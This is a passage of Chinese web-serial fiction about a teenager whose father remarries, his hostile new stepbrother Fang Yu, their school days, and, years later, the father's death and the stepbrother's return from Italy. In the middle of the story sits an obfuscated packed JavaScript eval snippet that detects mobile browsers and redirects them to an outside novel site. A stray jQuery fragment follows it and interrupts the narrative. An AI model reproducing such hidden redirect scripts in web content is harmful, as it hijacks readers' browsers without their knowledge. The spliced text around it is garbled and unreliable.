虽说是个刺头脾气,但方谕真是有张好脸。他紧咬住嘴唇,一双丹凤眼忽然红了。 方谕眼中忽然多了抹水光,接着,眼泪就那么落了下来。 陈舷怔住。 方谕哭了。 他眼尾红了,但眉头依然紧皱,发抖的嘴角紧咬着向下,脸上的倔强丝毫未减。方谕抬手抹掉眼泪,眉头越皱越深。 陈舷默默躲到门后。 客厅里,传来方谕低低的吸气声。 天黑下来时,陈舷坐在电脑前头,游戏的界面被全部关上。 他对着桌面发呆。半晌,他拿出手机来,点了两份外卖。 外卖员来敲门,陈舷打开门出去,方谕还坐在原来的地方。他一只手刷手机,一只手伸出来,挡住半张脸,陈舷看不见他的表情。 陈舷出去应门。 接过外卖员递来的外卖,他走进客厅,把其中一份放在了方谕跟前的桌子上。 方谕一顿,抬起头来,发红的眼睛不善地盯着他。 “你的。”陈舷朝外卖努努嘴,“不用瞪我,没下毒。” 陈舷拎着自己的外卖,转身走了。 等他吃完东西,把垃 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他回头,方谕没有看他,就那么望着窗外,头也不回地,又问了他一遍:“你不是很生气吗。” “为什么没跟你爸抗议。” 哦,方谕听见他打电话了。 “没用啊。”陈舷笑了声,“又不是我抗议了,就有用的。” “所以你就什么都不说。”方谕哑声,“窝囊废。” “……你说话蛮难听的。” 方谕没吭声。 陈舷单手叉腰等了会儿,方谕再没有说什么。 陈舷回屋睡觉去了。 睡到六点钟,他被一阵锣鼓喧天的放炮声吵醒。 一阵喜乐响起,陈舷把自己蒙在被子里好久,才慢吞吞地想起来了什么。他从床上起身,出了卧室,见方谕站了起来,靠在客厅边上的窗框上。 窗户开了,深秋早晨的凉风鱼贯而入。方谕半个身子探在窗户外头,望着旁边的楼底下。 听见动静,他回头看了陈舷一眼,眼底下有一圈浓浓的乌黑。 方谕别过脑袋,没理他。 陈舷低头一瞧沙发上,昨天给方谕拿出来的被子还在原地,连地方都没动。 他走上前,顺着方谕的视线往下一看,一排婚车正在不远处的隔壁楼楼下。 一单元里,一身红衣的新娘子被抱着出了门来,笑意盈盈地上了装扮得最红火的那辆婚车。 陈舷一眼看了出来,那是他爸的车。 抱着新娘子的就是陈胜强。陈舷看见陈胜强笑得皱纹堆起,和他书桌上那张十年前的全家福一模一样。 陈舷一脑袋黑毛也被秋风吹得凌乱。 楼下的人又放了几个烟花。咚咚的烟花无形地在白昼的天上绚烂开,婚车一辆一辆地开走了。 陈胜强的车也开走了。 欢庆的音乐里,人们还在笑着,说收拾好东西,他们要去婚礼现场了。 楼下的人伴着笑声,鸟兽群散,带走了热闹。 冷清的旧房子里,陈舷没说话,方谕也没说话。 早晨的阳光投进来,陈舷却手脚冰凉。 5. 转学 婚礼结束以后第二天,周一一大早,陈胜强就叫了搬家公司来。 陈胜强满面红光。 陈舷靠墙站在门边,看着工人们把箱子一个一个从家里搬出去。 方谕一大早就被他妈叫下楼接走了,陈舷起床的时候这人已经没了影子。 老房子里的东西一点一点地没了。 老房子搬空后,陈胜强开着自己的车,带着陈舷,往新家开的路上走,高高兴兴地和他说:“以后你就有妈了!” 陈舷本来还在维持笑容,一听这话,脸拉了下来:“我他爹的有亲妈。” “别说这么破坏气氛的话,”陈胜强呵呵地笑,“你跟方谕怎么样?” “不怎么样。”陈舷说,“一句话不愿意跟我多说。” “正常,刚开始都这样,慢慢地就好了。”陈胜强说,“你后妈自己到这里打拼来的,才来我这儿上班半年,儿子没带来,一直放在老家。” “跟我结了婚,她才提出要把小鱼带来。” “小鱼?” “方谕的小名。”陈胜强说。 我靠,长那么牛逼的凶脸,小名居然这么萌。 陈舷干笑了两声。 “他老家哪里的?”陈舷问。 “荷城的。”陈胜强说。 是个风和日丽春暖花开的好地方,四季如春。 结果跑到这么个说冷就冷说热就热,冬冷夏还暖的地方,真惨。 “都是儿子,我不在家,你也总是自己一个人在家。我想着多个弟弟,你也能不那么孤独,就让她带来了。”陈胜强说,“好好跟弟弟相处。” 陈舷没做声。 陈胜强带他回了新家的婚房里。 新家是在一个高档小区里,是个轻复式。 陈胜强敲了门。 方真圆开了门来。 陈舷第一次见到了她。 和亲戚们说的一样,真是个很漂亮的女人。和方谕一样,有一双很漂亮的丹凤眼,但一对眉是下垂的,所以看起来并不凶,柔和极了。 “你就是小舷吧?”方真圆笑着,“快来快来。” 方真圆打开门,陈舷跟着陈胜强进了屋子。 新家很大,陈舷换上拖鞋,正在打量四周时,突然听见一边有脚步声。他转头一看,方谕换了身衣服,趿拉着拖鞋上了楼梯,打开一间屋子,走了进去。 “小鱼!”方真圆的声音严厉起来,叫他,“进屋干什么,跟你爸你哥打招呼啊!” 方谕没理她,把门啪地关上了。 “这孩子。” 方真圆恼火了下,回头赔了两声笑,“不好意思啊,你们别太怪他,这孩子从小养在外婆那儿,被惯坏了。” “没事没事,慢慢来。”陈胜强挥了挥手,大大方方地笑了声,“咱们毕竟是二婚,孩子得需要些时间接受。” 方真圆不好意思地笑笑,脸颊上飘上两团红晕。 “我既然接受你,就肯定接受小鱼。”陈胜强认真地望着方真圆的眼睛。 陈舷差点儿吐了。 他真看不下去亲爹这么浓情蜜意了,换上拖鞋转身进屋,问道:“我哪间?” 方真圆回神过来,忙说:“就小鱼隔壁那间。” “好,谢谢。” 陈舷背着背包上了三层台阶——轻复式只是有三层台阶,抬高了点儿层高而已。 他打开方谕隔壁这间的房门。 是间还不错的屋子,榻榻米式的,朝阳,深秋的阳光洒在原木风的书桌上。 陈舷放下包,打量一圈,还算满意。 方真圆跟着过来,紧张道:“怎么样?” “很好啊。”陈舷回头看向她,笑了笑,“没事的,我可好养活了,有个地方给口饭就行。” 方真圆松心一笑。 陈胜强在后头也乐起来:“你看,我跟你说了吧,我这儿子,你随便对付对付就行,可好说话了。” 方真圆笑出声来:“瞎说什么呢。” 陈舷带着笑转过头,没做声。 心里骂了声:傻逼。 * 闹闹腾腾的三天过去,老屋子那边能用的家具、有用的东西,也全都搬到了老陈家的新房里。老陈又出去买了些新家具,放了回来。 陈舷在家折腾整三天,才把自己的卧室弄好。 方真圆对他还不错,进来帮他收拾了好半天,还给他买了半个冰箱的可乐,又给他连着做了三天的丰盛午饭。 陈舷过意不去,方真圆就说,他对小鱼好点儿就行。 陈舷说包的。 话这么说,但方谕显然对这一家很抗拒,吃饭的时候一直一声不吭,头也不抬。 周三这天晚上,老陈出去跑完业务回来了。方真圆把饭菜端上来,四个人围着桌子吃饭。 “我给你请的假就到明天。” 饭桌上,老陈敲了敲陈舷面前的菜盘,“明天回去上学,从门口坐K3去,坐六站,得半个小时。” “那么远。”陈舷嚼着米饭,“原来走路只要十五分钟。” “你早点起不就行了,晚上少打点游戏。”陈胜强说,“也是为你好。” 陈舷呵呵了声,没说话。 “小鱼的转学我也办好了,我特地跟你们校长拜托了,让他跟你一个班。”老陈说,“你多照顾照顾他。” “哦。” 陈舷应下来,看了眼方谕。 方谕没有任何表示,低着眼睛,扒了口饭吃。 第二天一大早五点五十,陈舷已经穿上校服,在门口穿好了双运动鞋,拿鞋尖在地上扣扣,背起包来。 一回头,方谕也刚好到了门口来。 他瞥了陈舷一眼,抓起头天晚上随意搭在楼梯扶手边上的校服外套,穿了起来,张嘴想说什么。 正巧,方真圆打着哈欠,睡眼惺忪地出了门来。 方谕闭了嘴。 方真圆瞧见这一幕,抹抹嘴巴:“你们都起了?正好,小鱼,跟你哥一块上学去吧,有个照应。” 方谕一低丹凤眼,对着他厌烦道:“我不跟他一起走。” 陈舷苦笑了声:“一条路啊,你不跟我走怎么办?” “你先走。”方谕说,“我坐你后面那趟公交车。” “那倒是没什么问题,可是,这趟车很难来的哦,25分钟一趟。”陈舷说,“六点五十到校,一会儿六点车就到小区门口。下一趟就是六点二十五了,你要坐后面那趟,学校的门卫大爷就不让你进了,他还挺严格的。” 方谕:“……” “你要是喜欢第一天就迟到,我也没办法。”陈舷一脸诚恳地望着他,“怎么办,方谕?” 方谕对着他抽了抽眼角。 陈舷朝他一脸无辜地笑。 方谕啧了一声,走过去穿起鞋,摔门就走了。 陈舷笑了声,背着包打开门,回头跟方真圆挥挥手:“拜拜老妈。” 方真圆愣了愣,呆呆地抬手:“拜、拜拜。” 陈舷笑着关上门,追方谕去了。 方真圆对着门口又发了会儿愣。 陈胜强也被动静吵醒,一片昏暗的屋子里,他揉揉眼睛,困倦地迷迷糊糊问:“怎么了,你站门口干什么?” 方真圆回过身说:“你儿子叫我妈了。” “哦,”陈胜强不意外,哼哼唧唧一笑,“他就那样,特别有眼力见儿。说什么话能让别人高兴,他清楚着呢,人小鬼大。” 方真圆笑着:“是好事,孩子聪明。” 陈舷跑到楼梯间,就见左边电梯已经下到三层了,一看就是方谕等都没等他。 幸好小区高级,电梯有两个。 陈舷下了另一部电梯,跑到公交车站的时候,方谕已经手插着兜等在那儿了。他背上背着个黑色的大帆布包,包侧边塞着个白的保温瓶子。 看见他来,方谕一眯眼,啧了声,转头往另一边走去,仿佛跟陈舷站在同一片空气里都嫌脏。 陈舷无可奈何,在另一边站定。 K3路来了。 * 方谕对陈舷,那真是避瘟一样。 陈舷算是看出来了。 坐公交车时明明有位置,但陈舷一屁股坐到了后边。方谕一看,坐都不坐了,跑后面去站了半个小时。 进学校更是,陈舷好心想告诉他班主任办公室在哪儿,结果话才说个头,方谕甩开他,语气很不好地说他自己会找,然后钻进人群里不见了。 陈舷无语死了。 他还想跟方谕说食堂在哪儿,带他买个早饭再去教室。 方真圆早上都起不来,今天没做早饭。 去食堂买了个手抓饼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505966|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈舷才进了教室。 坐到座位上,他重重叹了口气。 “舷哥——!!” 屁股都没坐稳,尚铭不知道从哪儿冲了出来,跟个火箭炮弹一样,碰一下冲到了陈舷身上。 陈舷差点没被他撞飞。 “舷哥!”尚铭抓住他的胳膊,两眼含泪,“你终于回来了!老大!你知道没有你的这些日子里,我是怎么过的吗!!” “兄弟……”陈舷被他撞得肋骨疼,把他扒开,“有首歌是这么唱的,‘没有你的日子里,我会更加珍惜我自己’……” “我珍惜不了!”尚铭哭嚎,“三天了!我每天都一个人吃饭!” 那确实有点自闭。 体育委员高鹏揭穿他:“狗屁,你昨天不是跟兄弟拼桌吃的吗。” “就是,你边吃你那碗烤肉拌饭一边说,‘舷哥真不是东西~说请假就请假一点儿都不顾兄弟~’” 陆艺伟也手舞足蹈掐着嗓子模仿起来。 尚铭登时涨红了脸,撸起袖子朝他俩走去:“不是我说,你们给兄弟留点面子能死啊!” “实话实说你也要打人啊!” 后边这群人正闹腾,教室前门,叶凡月碰的推开了门,一脸兴奋:“哎!咱班好像有转学生!!” 此话一出,早自习前正四处吵闹的整个教室,顿时安静下来。 所有人齐刷刷地看向她。 “真假的?”有人质疑,“这个时候有人转学?前不着村后不着店的。” “就是啊,现在都十一月了,这时候谁会转学?” “真的!我没骗你们!”叶凡月转身关上教室门,往里跑来两步,兴奋得满脸通红,“我刚去班主任那儿交作业,看见了!她那儿来了一个超帅的男的,班主任还跟他说什么转学过来一定要怎么怎么着,不是转学生是什么!” 女生们霎时精神了:“帅?有多帅?” “老——帅了!”叶凡月两眼放光,加重声音,又一指陈舷,“比舷子都帅!” 陈舷:“……” 那倒确实。 “胡说什么!”尚铭拍案而起,“我舷哥宇宙第一帅!” 陈舷苦笑。 “还能有人比陈舷帅?我咋不信。”高鹏也说。 陈舷是真有张好脸,好得他们班男生都心服口服的地步。他这张脸像老天爷拿个尺子量着打的一样,五官标致眉骨深邃,鼻梁英挺,睫毛和双眉都浓密,一双狐狸眼眼尾微挑,尚铭给他的评价是天生深情脸,老天爷赏网恋饭吃,看狗都深情。 陈舷帅得像美术室里的雕塑。 “那转学生也帅!”叶凡月反驳,又望着陈舷那张因为苦笑微眯起来,顿时更显无奈漂亮的脸,哽了哽,“嘶……好像不分伯仲。” “就是嘛,怎么可能帅的过舷——” 话刚一半,早自习的铃声响起来了。 教室的门被拉开。 程慧丽走进来:“上早自习了,都回座位上。” 吵吵嚷嚷的学生都歇了声,自觉地都回到座位上。 陈舷坐在后头靠窗的位置上,往前一瞅,方谕跟在程慧丽后头进来了。 望见他那张疏离淡漠的帅脸,班里顿时一片吸气声。 讨论声又立即此起彼伏起来。 “卧槽,”坐在陈舷后头的高鹏怼怼他,“舷哥,我要撤回我刚才的话。” “这哥们帅啊。”前面的陆艺伟也往后一仰,凑过来,“真是跟你不分伯仲啊舷哥。” 尚铭反驳:“一群没品的东西!类型不一样!这哥们帅得像天山雪莲,咱舷哥那是24K纯帅!” “好了!” 程慧丽敲了两下讲台,教室里立马又没了声音。 “都看见了啊,他叫方谕。”程慧丽简单介绍了句,“从荷城搬过来的。你就去那儿坐吧,董萌旁边。” 程慧丽指了指最后一排靠着墙的那一列。 他们班59个人,但桌椅是按着60个人排列的,班里一直都空着一个位置。 方谕扫了一圈全班,望了陈舷一眼,才转头往空位上走去。 “诶,舷哥,”尚铭敏锐察觉,“这帅哥刚刚是不是挖你一眼?” “没有,错觉。” 陈舷转头看向外面。 早晨的风哗哗作响,把外头的树吹得叶子摇摇。 6. 死亡 方谕跟他冷脸了很久。 刚来的这天开始,他和班上的人就不怎么来往,有人和他说话他也不搭理。 一开始,方谕是真不喜欢他,抓着机会就瞪他一眼,能离他多远就离他多远。 第一天上体育课,后边半节课自由活动。 宁城的天气见鬼,都深秋了,但站在大太阳底下还是很热,班里人扎堆躲在主席台后头的观众台上,结果方谕为了离陈舷远一点,竟然跑到大老远的大太阳底下坐着。 陈舷那会儿坐在观众席上,大老远看见他这么个冷白皮的帅哥,披着校服外套盘腿朴实无华地坐在那儿,跟个搬完砖坐地上歇着的农民工似的,无语了挺久。 尚铭没忍住,凑到他耳朵边上嘴方谕:“那帅哥是不是有病,这么大的太阳他还在那儿坐着。” 陈舷说:“我也觉得。” 他指定病得不轻。 冬风里,光秃秃的树枝一晃一晃。 二十九岁的陈舷走出了单元门。 萧萧的冬风吹得陈舷耳朵发冷,耳根子麻得几乎没了知觉。 单元门口还有街坊围着,叔叔陈建衡不知道去了哪儿,不见了身影。 钻出人群,陈舷仰头,对着寒冷的空气呼出一口白气。 想起十五岁刚跟方谕遇见这会儿,陈舷惨戚戚地笑出了声。 那时候真好啊,他还年轻,方谕也年轻,刚开始每天都跟小学生闹脾气似的。 一放学,方谕就宁可晚半个小时,也要搭他后面那辆公交。第二天,方谕宁可早去半个小时学校,也要爬起来坐比他早的那班K3。 都只是为了不跟陈舷搭上。 第一天放学回家,晚了半小时回来的方谕就敲开他房门,恶狠狠地跟他说:“不许告诉别人,你是我哥。你不是我哥,我没哥。” 陈舷哭笑不得,点头说好:“行行行,你没哥。” 方谕冷哼一声,转头走了。 他现在确实没有哥了。 陈舷紧了紧身上衣服。 街坊们还在低声耳语,陈舷听见了几句对自己指指点点的声音。 陈舷听了几句,有些好笑。马上要给殡仪馆打电话,站在看热闹的人群后面打,显然不合适,于是陈舷又往外走。 他走到绿化带旁边,停了下来。 陈舷夹紧身上大衣,背对着风,低头拨拉手机,找殡仪馆。 找到了殡仪馆,陈舷打了电话过去。 “喂,你好,”他声音病恹恹的,有气无力,“请问一下……” “……对,现在就需要。” “好,钱不是问题。”陈舷咳嗽两声,报了地址,“麻烦现在过来。” 陈舷挂了电话。 他运气不错,找到的这一家刚在电话里说,能立刻过来处理下葬事宜。 “陈舷。” 陈舷回头。 陈建衡站在他身后,脸色难看至极。 “你叫殡仪馆干什么?”他问。 “他们叫我叫的。”陈舷轻描淡写,把手机塞回兜里,“没事的,我负担得起。” 陈建衡皱起眉,怒道:“不是你负担得起负担不起的问题,凭什么还叫你出这个钱!?你愿意回来送终,你爸都得谢谢你了,还有脸叫你出钱!走,跟我上去,我看谁让你出的钱!” 陈舷无奈:“叔……我不上去了。你帮忙应付吧,我有点累。要多少钱,我回头转给你。” “你不上去了?他们这么欺负你,凭什么不上去!?” “方谕在啊。”陈舷说。 陈建衡一怔:“方谕?他回来了?这么快?” “你不知道吗?”陈舷说,“你不是在楼下吗。” “我出去接了个电话,顺便买了点饭菜回来。到饭点了,肯定没人有心思做饭。”陈建衡往单元门口努努嘴,“我也懒得管这群街坊了。反正他们看热闹不可能看到家里去,随便吧。” 陈舷往他手上看了看,陈建衡手上的确拎着一盆菜,另一只手上是好多盒米饭。 “我也买了你的饭,上去吃。”陈建衡说,“我倒要看看,到底谁让你掏钱。爹的,还欺负人。正好,方谕既然来了,你就把那些糟烂事告诉他……” “不说。”陈舷说。 陈建衡急了:“还不说!?你给他扛了多少事,这都多少年了,你还不说!方谕现在能做主了,他妈再怎么着也弄不了他了,你还想瞒到什么时候?有瞒着的意义吗!你非要把事情带到坟墓里啊!” 陈舷惨兮兮地一笑:“带坟墓里去呗,又没什么意义。” “那你就要让他觉得你对不起他!?你根本就不是——” “不是又怎么样?”陈舷说,“无所谓了。” 陈舷语气绝望,可偏偏脸上还是在笑。陈建衡一阵失语,张着嘴巴,终于是什么都说不出来了。 最终,陈建衡叹了口气。 “叔叔,”陈舷说,“当帮我个忙,你就替我瞒着。她……方真圆,也是不想告诉他。你要是说了,你跟她的关系不也是会闹僵嘛,大家到时候里子面子都不好看,都过不去。” “早就闹僵了。”陈建衡说,“前几年因为点事儿,我跟你爸大吵一架,方真圆也跟我吵了好久,我俩都没微信了。” “是吗。”陈舷有些意外,但也只是又笑笑,“那闹得更僵也没意思嘛。别让他知道了,反正办完葬礼他就要走。” 这倒也是,方谕现在在国外站稳脚跟,想也知道留不长的。 陈建衡沉着脸说:“所以,这也可能是你唯一一次,能告诉他的机会了。” 陈舷抬手,朝他比了个嘘:“不说了。” “好像我看见他现在混得好了,风光无限了,就见钱眼开悔不当初,要回来痛哭流涕一样,没意思。”陈舷说,“就这样,叔,我加你个微信吧。一会儿殡仪馆来了,要多少钱,你跟我说。” “行吧。” 说这么久,陈舷都没松口,陈建衡再没办法了。他叹了口气,拿出手机,正找出这绿色软件来,陈舷身后突然响起一声:“陈舷。” 声音无比熟悉,陈舷猛一哆嗦,回过头。 方谕不知道什么时候下来了,穿着电梯里那身修身的长风衣。冬风把他的头发也吹得乱飞——方谕把头发留长了,脸边两侧发尾卷起到耳边,脑后的发长到脖颈,乌黑的发柔软得随风乱飘。 陈舷僵住良久,脸上的笑都褪了下去:“……” 方谕面无表情,金丝眼镜后的一双眼睛没什么波澜,看着他眯了眯。 他伸出手机:“加个联系方式。” 陈舷一愣:“什么?” “下葬的钱,”方谕说,“我跟你平摊。” 陈舷这才明白他的用意。 “不用了,”他说,“这点钱,我有。” 方谕冷笑一声:“你有吗?看起来不像。” 陈舷一哽,抽了抽嘴角。 陈建衡听不下去:“方谕!” 方谕斜了他一眼,没理他,只朝着陈舷抬抬手机:“赶紧的,不想欠你钱。” 陈舷明白了,方谕是觉得让他一个人把葬礼全承包下来不合适,想AA。 陈舷叹了口气,没说什么,只好拿出手机,扫了他递过来的码。 陈舷手机滴了一声。 他拿起来一看,方谕这是个新账号。 陈舷发了好友申请过去,然后转头:“叔,你的码也给我。” 陈建衡瞪了方谕一眼,低头把自己的码给了陈舷。 陈舷也加了他。 他边操作,边随口问方谕:“你什么时候回意大利?” “什么时候都可以。”方谕说,“我有绿卡。” “绿卡?” “永久居留证。”方谕淡淡。 陈舷给陈建衡发了好友申请,抬头看他:“工作没问题?” 方谕还没说话,突然,远处有人喊了声:“老板!” 陈舷转头一看。 一个跟他差不多高,一米八左右的男人往这里跑了过来。这人也时髦得很,一头碎发做了精致造型,鼻梁上一对银丝眼镜,穿着和方谕同款的黑风衣,脖子上一圈灰围巾。 男人有张好脸,皮肤白净杏眼乌黑,朗目疏眉长相清秀,像山间里一捧清水或干净的风似的,令人舒服。 他手里夹着个公文包,另一只手上拿着个手机。 他小跑到方谕跟前,说:“后面的行程尽量调整了,但最近的那场展子,最多只能延迟到一周后。” “一周够了,葬礼而已,三天就能办完。”方谕看了眼陈舷,“一周以后,正好头七也过了。陪完头七,我就走。” “随你啊。”陈舷笑笑,又转头看看刚来的这位,“这是你助理?” “跟你有什么关系。” 放下这句,方谕转身离开,“走了,跟我上去。” “哎?啊。” 男人应了声,迷茫地打量两眼陈舷,转头跟上方谕,重新挤进人群,上了楼。 “他那什么态度。”陈建衡嘟囔着骂。 陈舷笑着,没说话,只是低头,在手机上点了点。 退回微信的消息栏,他看见方谕通过了好友申请。陈舷顺手点开他的头像,点开朋友圈,就看见封面底下是两条杠中间夹着个点。 这是给他设成仅聊天了。 陈舷没话说,封面都没细看,直接摁灭了手机。 “你回去吧。”陈建衡在他身后说,“你不是要回去吗?” “不回了。”陈舷回头笑笑,“就是为了躲他才走的,他都 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陈舷有一茬没一茬地听着,眼睛盯在被带走的陈胜强身上。 殡仪馆拿了个担架来,把他亲爹放在担架上,抬走了。 陈胜强安详地躺在上面,面无血色,眼睛紧闭,仿佛只是在睡觉。 陈舷看得出了神。他突然记不清十二年前陈胜强是怎么骂他、怎么打他、怎么歇斯底里;也记不清他是如何疯了似的,喊他是个变态精神病了。 他连陈胜强是怎么拽着他往墙上撞突然都记不清,只想起他很小很小的时候,陈胜强拿着一兜子烧烤回了家,笑着伸出双臂把他抱起来转了一圈,放下来以后,又变魔法似的从背后拿出一串草莓的冰糖葫芦。 耳边忽然嗡嗡作响,陈舷鬼使神差地把手从兜里拿出来,鬼使神差地往旁走了两步,走到了门口。 他站在门口,怔怔地看着殡仪馆的人打开电梯,把陈胜强送了进去。担架有些放不进去,他们就把他斜起来了。陈胜强往下滑落了些,还是一动不动地闭着眼。 殡仪馆的人摁下楼梯,电梯的门缓缓关上。陈舷心里一紧,迈出几步门槛去,电梯门却直接合上。 他停在原地。 十几年前的事突然又在脑袋里清晰起来,他想起陈胜强声嘶力竭地骂他亲妈,也骂他,骂生他养他这么多年,居然跟自己弟弟滚到一起,恶心的玩意儿。 可他又想起他七八岁的时候,那年他终于治好了肺炎,陈胜强高高兴兴地带着他和陈桑嘉去了游乐场,把他骑在肩膀头子上,让他骑大马,又哈哈大笑着对天喊,我儿子以后健健康康平平安安,再也不生病。 楼道里的灯暗了下去,电梯边上,屏幕上橙色的电子数字,一层一层地平稳落下。 陈舷突然不知道自己是在伤心还是好笑,一开始的痛快心情突然再也没有了——对这个残害了他又断亲十几年,最后还要他回来送终的亲爹,他其实一开始是痛快的。 可他突然痛快不起来了。他看着电梯的数字落到一层,心里一片无措。 他没有爸了。 脑子一片空白很久,陈舷想,他再也没有爸了。 “陈舷。” 陈舷回头,陈建衡站在门边,皱着眉头一脸担忧,看着他问:“没事吧?” 陈舷又愣了很久,他脑子这会儿钝钝的。 眨巴两下眼睛,他才发觉脸上有点烫,还有点湿。 陈舷慌乱地抹了两把脸,扯了个笑出来:“没事没事。那个,这儿的事情办完了,我先去派出所……呃,办销户去。” “我走了啊叔,有事儿你给我发消息。” 匆匆说完这么多,陈舷转头走到电梯边上,狂摁起电梯来。 可是他家十一楼,电梯上来需要时间,另一部更是卡在六楼一动不动,没一个电梯能迅速响应。 “陈舷……” 陈建衡叫了他一声,语气揪心。 陈舷眼泪啪嗒啪嗒掉个没完,脸上越来越烫,门内门外的视线针扎似的刺在身上。 陈舷越来越如坐针毡,每一道视线都在捅他。于是顾不上电梯,他转头大步流星地走向安全出口,推开铁门,毅然决然地走进楼梯间里,头也不回地逃了。 “陈舷!” 陈建衡没叫住他,陈舷跑了。 方谕慢慢悠悠地走到门口来,往外看了一眼,正巧看见陈舷拉开铁门,走进楼梯间里。 拉开的那一瞬间,陈舷侧过了脸。方谕看见他哭红的眼睛发红的眼尾,看见他正巧从眼角边蜿蜒流下的一滴泪,看见他紧皱的眉紧抿的嘴唇,看见他苍白消瘦的一切。 于是,心脏轰地漏了一拍。 7. 胃癌 陈建衡重重叹了口气,挠挠后脑勺,回头说:“这小子想什么呢,一个文件都不带,他去派出所能办什么?” “他什么都没带?” 方谕回头,他外公背着手,佝偻着后背走了过来,拉着个脸问,“什么都没带,他去干嘛了?” 他语气严厉,一听就是批评。 陈建衡没好气:“他爸死了,情绪不稳定一下,怎么你了?等你死了,方真圆要是到时候也哭着跑,我也说她什么都不带的干嘛去了,行不行?” 外公一哽,哼哼了声:“老陈家真厉害,儿子害得别人家离的离散的散,现在说一句也不许!哎呀,真是惹不起。” “惹不起就闭嘴!脸上多长几道皱纹,真当自己说话权威了!”陈建衡骂他,又转头望向方真圆,“死亡证明,还有户口本、身份证呢?拿来,我给他送去!” 他连老的都敢骂,方真圆也不敢多说什么,回屋去拿了出来。 刚要递给陈建衡,方谕伸出手,把所有文件都给一把截胡到了自己手里。 “我去。” 他说完,朝着刚挂电话的秘书一挥手,“马西莫,跟我去。” “好的老板。” 秘书马西莫利索地转身,塞了手机拿起包,小跑出去按电梯了。 陈建衡收回手,眉毛一挑,意味深长地看了他一眼。 方谕拿起自己的风衣,抬脚刚往外走,方真圆一把拽住了他:“等等!” 方谕回头,就见方真圆一脸惊恐。 “你不能去!”她说,“你忘了他当年都干什么了?他差点把你给洗脑了,差点把你弄成个精神病!你去找他干什么?不行,让你叔叔去!” 方谕皱起眉:“我说了我去,松开。” “你不能去呀!”方真圆固执道,“陈舷就是个精神病,你回家来归回家来,但是不能见他!” 方谕一把甩开她。 他拿着手上的东西,头也不回地走出了门。 马西莫早进了电梯,一直给他摁着开门。方谕走了进去,马西莫松开手,摁下关门键。 “小鱼!” 方真圆撕心裂肺地喊了他一嗓子,方谕面无表情。 电梯门关上了。 电梯平稳地往下去了。 马西莫眼珠子乱转一圈,偷偷瞥了眼方谕。他的大老板还是面无表情,清冷严肃的面庞深邃立体,像太阳神阿波罗的雕像般鬼斧神工。 马西莫偷偷清了清嗓子,按捺不住语气里对八卦的热情,颤声开口:“老板。” “闭嘴。”“阿波罗”说。 “我可以问问……” “滚。” “好的。” 马西莫悻悻压下了自己的八卦心。 为了自己在意大利月薪七万RMB的秘书工作。 陈舷坐在公交站后头的一辆共享单车的座位上。 他趴在车头上,脑袋埋在臂弯里。身后人来人往,有人注意到他,但没人上前询问。 大家都很忙,都只是路过。 今天是个阴天,天上乌云厚重。 胃又开始一阵阵钻痛,陈舷不想管它。 他趴着偷偷地哭了一阵。 直到手机滴铃铃响了几声。 陈舷慢吞吞直起身。他两眼通红,脸上泪痕重重叠叠,起身时还有眼泪在蜿蜒地留下。 陈舷吸了口气,拿出手机,一看,居然是方谕。 方谕头像是个六边形的线条图,白底黑线。 昵称是个简单的点。 .:到哪儿了 .:给你送东西 .:你没拿死亡证明 .:户口本和身份证也没拿 陈舷心里一咯噔,才想起,刚刚真是拔腿就跑,一个文件都没拿。 他抹了两把脸,哭得咳嗽几声,抬手打字。 -:抱歉 -:忘记了 -:我还得一会儿,要回酒店拿充电宝 -:你要打车来吗 方谕回的很快。 .:有车 .:那我在派出所门口等你一会儿,端明路这个派出所,可以吧 .:你到了来找我,黑车,车牌号是宁B23DE99 陈舷回了个好。 陈舷退出聊天框,刚想退出微信,就看见某个免打扰的哥们已经给他轰炸了九十九条。 他迟疑片刻——就这片刻,他就眼瞅着微信昵称“周三五不出诊”的用户又疯了似的给他炸了五条信息,全是在骂他死哪儿去了。 陈舷想了想,还是点了进去,给他拉黑了。 做完这些,他摁灭手机,从共享单车上下来,打了个滴滴,朝着端明路派出所赶过去了。 到了地方,他就看见门口停着个黑车,车牌和方谕说的一样。 陈舷走上前,敲了两下车窗。 这派出所的地方建在一条迎风的大马路上。车道上没有任何挡风建筑,寒风比小区里更大。大风迎面一吹,吹得脸都跟被刀刮似的疼。 陈舷的胃顿时更疼了,他猛烈地咳起来。 车窗摇下。 和在车外被吹成大背头、狼狈至极的他不同,已成了海外大设计师的方谕高贵优雅地坐在副驾驶的座位上,安然自得地递出了文件。 陈舷捂着嘴接过,边咳嗽边跟他哑声说:“多谢。” 方谕正要说话,突然一怔。 陈舷的前发被全都吹飞,左额额角上便有块伤疤露了出来。 那伤疤触目惊心。 方谕一时失语了。 陈舷似乎也反应过来了,立马捂住了左额的头发,然后瞥了他一眼。 方谕一眼就看出了他心虚,于是恢复目光,装作并未发觉。 方谕多打量了他几眼。 陈舷真是瘦脱了相。那张上学时帅得谁看谁喜欢的脸,消瘦成纸片般单薄,只剩下憔悴了。他脸上泪痕还没被擦干净,眼睛还是红的,望向他时眼里一片凄楚,偏偏嘴上什么都不说。 方谕心里没来由地烦躁。 风太大,陈舷眯起眼睛。方谕没发现,他松了口气,可一转眼,他看见主驾驶上坐着那位助理。 他乌黑的杏眼十分无辜,见陈舷红着眼看过来,还眨巴了两下眼。 陈舷顿时心里不是滋味儿。 他转身,朝着派出所里走去。 身上的大衣太松垮,陈舷拉起衣领,往脖子上扯了扯。 外头很冷,冷空气都灌进了开着暖气的高档车里。方谕却没摇上车窗,只是望着陈舷往派出所里走。他真是瘦了很多,单薄的身影在大风里摇晃,仿佛要散架。 作为合格的秘书,马西莫摇起了副驾驶的车窗。可窗子刚冒个头出来,就被方谕摁了回去。 马西莫识相地不摇了。他偷偷看了眼方谕,就见“阿波罗”深邃的眉眼里一片晦暗,眼睛里绞杂着比天上的乌云都厚重的心绪。 马西莫又按不住的:“老板,那个……” “闭嘴。” “遵命。” 马西莫又闭嘴了,为了他七万块的意大利秘书工作。 陈舷推开派出所的大门,走了进去 